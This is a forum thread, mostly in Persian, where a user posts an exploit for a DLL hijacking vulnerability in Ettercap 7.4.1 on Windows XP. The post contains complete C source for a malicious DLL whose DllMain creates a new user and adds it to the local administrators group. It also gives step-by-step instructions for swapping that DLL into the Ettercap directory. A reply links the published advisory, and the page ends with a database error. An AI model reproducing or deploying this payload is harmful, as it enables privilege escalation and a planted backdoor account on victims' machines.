• 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
ettercap 7.4.1 Dll hijacking vulnerability (exchndl.dll - quserex.dll)
#1
از رو بیکاری Sad
http://maarek.persiangig.com/submit.txt
Code:
Exploit Title: ettercap 7.4.1 Dll hijacking vulnerability (exchndl.dll - quserex.dll)
Date: Tuesday April 24
Author: nimaarek
Vendor or Software Link: http://ettercap.sourceforge.net
Version: 7.4.1
Tested on: Windows XP SP3

       .__                                     __    
  ____ |__| _____ _____  _____ _______   ____ |  | __
/    \|  |/     \\__  \ \__  \\_  __ \_/ __ \|  |/ /
|   |  \  |  Y Y  \/ __ \_/ __ \|  | \/\  ___/|    <
|___|  /__|__|_|  (____  (____  /__|    \___  >__|_ \
     \/         \/     \/     \/            \/     \/

/*

Application Information:
Application: Ettercap.exe
Version: NG-7.4.1
Company Name: The EtterCap community, http://ettercap.sourceforge.net/
File Date: Tuesday April 24
Description: EtterCap sniffer
Operating System: Windows XP SP3
Total Extensions Verified: 2
Verified Extensions: htm;html;

=============================================================
//tested on Windows XP SP3
#include "stdafx.h"
#include "windows.h"
#include <cstdlib>

int main()
{
  system("net user apuser appass /add");
  system("net localgroup administrators apuser /add");
  exit(0);
  return 0;
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        main();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }

    return TRUE;
}
=============================================================

Instructions:

1. Compile dll
2. Replace exchndl.dll Or quserex.dll in Ettercap directory with your newly compiled dll
3. Launch Ettercap
4. Bo0o0o0o0o0o0o0m !


Greet to my Lovely friends :
+-+-+-+-+-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+
|M|O|H|3|N|C|O|D|E|r| |a|n|d| |A|m|i|r| |N|e|m|a|t|i|
+-+-+-+-+-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+

  Reply
#2
ثبت شد !

http://packetstormsecurity.org/files/112...ijack.html

  Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  آموزش پیدا کردن آسیب پذیری Dll Hijacking بروی نرمافزار KMPlayer nimaarek 2 7,412 05-15-2012، 03:22 PM
Last Post: nimaarek

Forum Jump:


Users browsing this thread: 1 Guest(s)

MyBB SQL Error

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1017 - Can't find file: './pxramin_parsii/mybb_threadviews.MYI' (errno: 2 "No such file or directory")
Query:
INSERT INTO mybb_threadviews (tid) VALUES('2177')